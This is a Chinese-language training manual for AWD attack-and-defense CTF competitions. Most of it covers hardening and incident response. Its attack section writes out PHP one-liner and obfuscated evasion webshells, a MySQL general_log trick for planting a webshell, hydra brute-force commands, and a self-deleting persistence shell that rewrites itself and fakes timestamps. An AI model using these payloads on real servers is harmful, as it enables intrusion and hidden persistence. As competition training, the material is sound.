从零学习AWD比赛指导手册
字数 1750 2025-08-10 08:28:47

AWD比赛全面指导手册

0. AWD赛制基础

0.1 AWD赛制介绍

AWD(Attack With Defense)是CTF比赛的主要模式之一,特点:

  • 强调实战性、实时性、对抗性
  • 每个队伍拥有相同的初始环境(GameBox)
  • 环境运行包含漏洞的服务/应用程序
  • 需要同时具备攻击和防御能力

0.2 比赛流程

  1. 赛前准备:获取靶机服务器SSH/VNC凭证
  2. 安全加固环节(30分钟):
    • 源码备份
    • 弱口令修改
    • 代码审计修复
    • 漏洞修复
  3. 自由攻击环节
    • 攻击其他队伍靶机获取Flag加分
    • 防御自身靶机防止失分

1. 比赛环境类型

  1. 混合靶机

    • 运维机:Windows 10
    • 攻击机:Kali Linux
    • 靶机:Windows Server/Linux组合
  2. 纯Linux靶机

    • 运维机:Windows 10
    • 攻击机:Kali Linux
    • 靶机:CentOS/Ubuntu
  3. 纯Windows靶机

    • 运维机:Windows 10
    • 攻击机:Kali Linux
    • 靶机:Windows Server

2. 防御环节(Defense)

2.1 基本加固流程

Windows加固:

  1. 备份Web源码和数据库
  2. 445端口加固,开启防火墙
  3. 开启系统日志审计
  4. 禁用guest账户,关闭文件共享
  5. 检查启动项内容
  6. 限制3389远程连接数
  7. 使用工具监控关键目录(文件操作监控.exe等)
  8. 检查恶意代码(PCHunter)
  9. 查找可疑文件(jpg/png/rar等)
  10. 扫描NTFS交换流数据
  11. 检查系统账户,禁用非Admin账户
  12. 修改Web后台路径和默认口令
  13. 安装WAF脚本

Linux加固:

  1. 修改系统口令(团队统一)
  2. 检查.bash_history
  3. 检查计划任务(crontab -l)
  4. 检查/etc/init.d/rc.local
  5. 使用监控脚本(进程/目录/流量)
  6. 修改Web后台路径和口令
  7. 系统加固(iptables)

2.2 信息搜集

Linux信息:

uname -a                      # 系统信息
ps -aux                       # 进程信息
id                            # 用户ID
cat /etc/passwd               # 用户情况
find / -type d -perm -002     # 可写目录检查
ifconfig                      # 网卡信息

Windows信息:

whoami /all      # 用户详细信息
ipconfig /all    # 网卡信息

端口检查:

netstat -ano              # Windows端口
netstat -anp              # Linux端口
firewall-cmd --remove-port=80/tcp --permanent  # 关闭端口
firewall-cmd --reload     # 防火墙重启

弱口令修改:

passwd username      # SSH密码修改
# MySQL密码修改
set password for user@localhost = password('新密码');

查找Flag:

grep -r "flag" /var/www/html/   # Linux
findstr /s /i "flag" *.*        # Windows

禁Ping设置:

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all  # 开启
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all  # 关闭

2.3 Web安全加固

源码备份:

# 压缩
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

# 解压
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

# 上传下载
scp username@ip:/path/file /local   # 下载
scp /local/file username@ip:/path  # 上传

权限设置:

chmod 0555 /var/www/html/*      # 文件只读执行
chmod 0555 /var/www/html/*.php
chown -R root:root /var/www/html/  # 修改属主

.htaccess防护:

<Directory "/var/www/html/upload">
    Options -ExecCGI -Indexes
    AllowOverride None
    RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
    RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
    php_flag engine off
    <FilesMatch ".+\.ph(p[3457]?|t|tml)$">
        deny from all
    </FilesMatch>
</Directory>

PHP安全配置:

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
open_basedir=/var/www/html
magic_quotes_gpc = Off
allow_url_fopen = Off
allow_url_include = Off

2.4 数据库加固

MySQL加固:

  1. 修改默认密码(root/123456)
  2. 设置bind-address=127.0.0.1
  3. 设置secure_file_priv=NULL
  4. 开启日志审计(general_log_file)
-- 备份数据库
mysqldump -u user -p dbname > backup.sql

-- 修改配置后重载
FLUSH PRIVILEGES;

MSSQL加固:

  1. 删除不必要账号
  2. 口令安全
  3. 最小权限原则
  4. 网络访问限制
  5. 登录审计
  6. 安全事件审计
  7. 配置日志

2.5 远程控制加固

SSH加固:

# 限制IP登录
AllowUsers user@192.168.1.100

# 禁用root登录
PermitRootLogin no

# 按用户/组限制
AllowUsers testuser
AllowGroups testgroup

# 重启服务
systemctl restart sshd

RDP加固:

  1. 删除默认账户,手动添加用户
  2. 修改默认3389端口(注册表修改)

2.6 应急响应

进程管理:

ps -aux | grep suspicious   # 查找可疑进程
kill -9 PID                 # Linux杀进程
taskkill /f /pid PID        # Windows杀进程

WebShell查杀:

find /var/www/html -name *.php -mmin -5  # 最近修改文件
grep -r "eval($_POST" /var/www/html      # 查找一句话木马

不死马查杀:

ps -aux | grep www-data | awk '{print $2}' | xargs kill -9
service php-fpm restart

3. 攻击环节(Attack)

3.1 准备工作

  1. CMS最新版及漏洞Poc/Exp
  2. 扫描工具(Nmap/Nessus/Metasploit)
  3. 漏洞利用脚本

3.2 信息搜集

主机发现:

nmap -sn 192.168.0.0/24      # C段扫描
httpscan.py 192.168.0.0/24 -t 10

端口扫描:

nmap -sV 192.168.0.2       # 版本探测
nmap -sS -p 80,445 192.168.0.2  # 指定端口
nmap -sS -p- 192.168.0.2   # 全端口扫描

3.3 漏洞利用

常见漏洞:

  • 系统漏洞:MS17-010、MySQL UDF提权、SSH弱口令
  • 中间件漏洞:IIS/Apache解析漏洞、Tomcat弱口令
  • CMS漏洞:Dedecms、ThinkPHP、Wordpress等

WebShell利用:

<?php @eval($_POST['pass']);?>   # 经典一句话
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);  # 免杀马

MySQL利用:

-- 查看版本和配置
show variables like '%version%';
show variables like '%secure%';

-- 日志写入WebShell
set global general_log = "ON";
set global general_log_file='/var/www/html/shell.php';
select '<?php @eval($_POST["cmd"]);?>';

弱口令爆破:

hydra -L users.txt -P pass.txt ssh://192.168.1.100  # SSH
hydra -l sa -P pass.txt 192.168.1.100 mssql        # MSSQL
hydra -L users.txt -P pass.txt 192.168.1.100 mysql # MySQL

3.4 权限维持

不死马示例:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]); ?>';

while(1){
    file_put_contents($file,$code);
    system('touch -m -d "2023-01-01" shell.php');
    usleep(5000);
}
?>

关键文件检索:

find / -name "nginx.conf"              # 配置文件
find / -name "index.php"               # 网站目录
tail -f /var/log/nginx/access.log      # 实时日志

3.5 提权技术

Linux提权:

  1. 收集系统信息:

    cat /etc/*-release
    uname -a
    
  2. 查找可利用漏洞:

    • CVE-2021-4034 (Polkit)
    • CVE-2016-5195 (脏牛)
    • CVE-2017-16995 (Ubuntu)
  3. 编译执行Exp

Windows提权:

  1. 各种Potato漏洞
  2. CVE-2023-35359
  3. MS17-017

4. 参考资源

  1. 漏洞数据库:exploit-db.com
  2. 安全社区:freebuf.com、seebug.org
  3. 工具集合:github.com
  4. 团队博客:blog.zgsec.cn

本手册涵盖了AWD比赛的防御加固、攻击渗透、权限维持等关键技术点,建议结合实战演练掌握这些技能。记住核心原则:防御要全面,攻击要精准,响应要迅速。

AWD比赛全面指导手册 0. AWD赛制基础 0.1 AWD赛制介绍 AWD(Attack With Defense)是CTF比赛的主要模式之一,特点: 强调实战性、实时性、对抗性 每个队伍拥有相同的初始环境(GameBox) 环境运行包含漏洞的服务/应用程序 需要同时具备攻击和防御能力 0.2 比赛流程 赛前准备 :获取靶机服务器SSH/VNC凭证 安全加固环节 (30分钟): 源码备份 弱口令修改 代码审计修复 漏洞修复 自由攻击环节 : 攻击其他队伍靶机获取Flag加分 防御自身靶机防止失分 1. 比赛环境类型 混合靶机 : 运维机:Windows 10 攻击机:Kali Linux 靶机:Windows Server/Linux组合 纯Linux靶机 : 运维机:Windows 10 攻击机:Kali Linux 靶机:CentOS/Ubuntu 纯Windows靶机 : 运维机:Windows 10 攻击机:Kali Linux 靶机:Windows Server 2. 防御环节(Defense) 2.1 基本加固流程 Windows加固: 备份Web源码和数据库 445端口加固,开启防火墙 开启系统日志审计 禁用guest账户,关闭文件共享 检查启动项内容 限制3389远程连接数 使用工具监控关键目录(文件操作监控.exe等) 检查恶意代码(PCHunter) 查找可疑文件(jpg/png/rar等) 扫描NTFS交换流数据 检查系统账户,禁用非Admin账户 修改Web后台路径和默认口令 安装WAF脚本 Linux加固: 修改系统口令(团队统一) 检查.bash_ history 检查计划任务(crontab -l) 检查/etc/init.d/rc.local 使用监控脚本(进程/目录/流量) 修改Web后台路径和口令 系统加固(iptables) 2.2 信息搜集 Linux信息: Windows信息: 端口检查: 弱口令修改: 查找Flag: 禁Ping设置: 2.3 Web安全加固 源码备份: 权限设置: .htaccess防护: PHP安全配置: 2.4 数据库加固 MySQL加固: 修改默认密码(root/123456) 设置bind-address=127.0.0.1 设置secure_ file_ priv=NULL 开启日志审计(general_ log_ file) MSSQL加固: 删除不必要账号 口令安全 最小权限原则 网络访问限制 登录审计 安全事件审计 配置日志 2.5 远程控制加固 SSH加固: RDP加固: 删除默认账户,手动添加用户 修改默认3389端口(注册表修改) 2.6 应急响应 进程管理: WebShell查杀: 不死马查杀: 3. 攻击环节(Attack) 3.1 准备工作 CMS最新版及漏洞Poc/Exp 扫描工具(Nmap/Nessus/Metasploit) 漏洞利用脚本 3.2 信息搜集 主机发现: 端口扫描: 3.3 漏洞利用 常见漏洞: 系统漏洞 :MS17-010、MySQL UDF提权、SSH弱口令 中间件漏洞 :IIS/Apache解析漏洞、Tomcat弱口令 CMS漏洞 :Dedecms、ThinkPHP、Wordpress等 WebShell利用: MySQL利用: 弱口令爆破: 3.4 权限维持 不死马示例: 关键文件检索: 3.5 提权技术 Linux提权: 收集系统信息: 查找可利用漏洞: CVE-2021-4034 (Polkit) CVE-2016-5195 (脏牛) CVE-2017-16995 (Ubuntu) 编译执行Exp Windows提权: 各种Potato漏洞 CVE-2023-35359 MS17-017 4. 参考资源 漏洞数据库:exploit-db.com 安全社区:freebuf.com、seebug.org 工具集合:github.com 团队博客:blog.zgsec.cn 本手册涵盖了AWD比赛的防御加固、攻击渗透、权限维持等关键技术点,建议结合实战演练掌握这些技能。记住核心原则:防御要全面,攻击要精准,响应要迅速。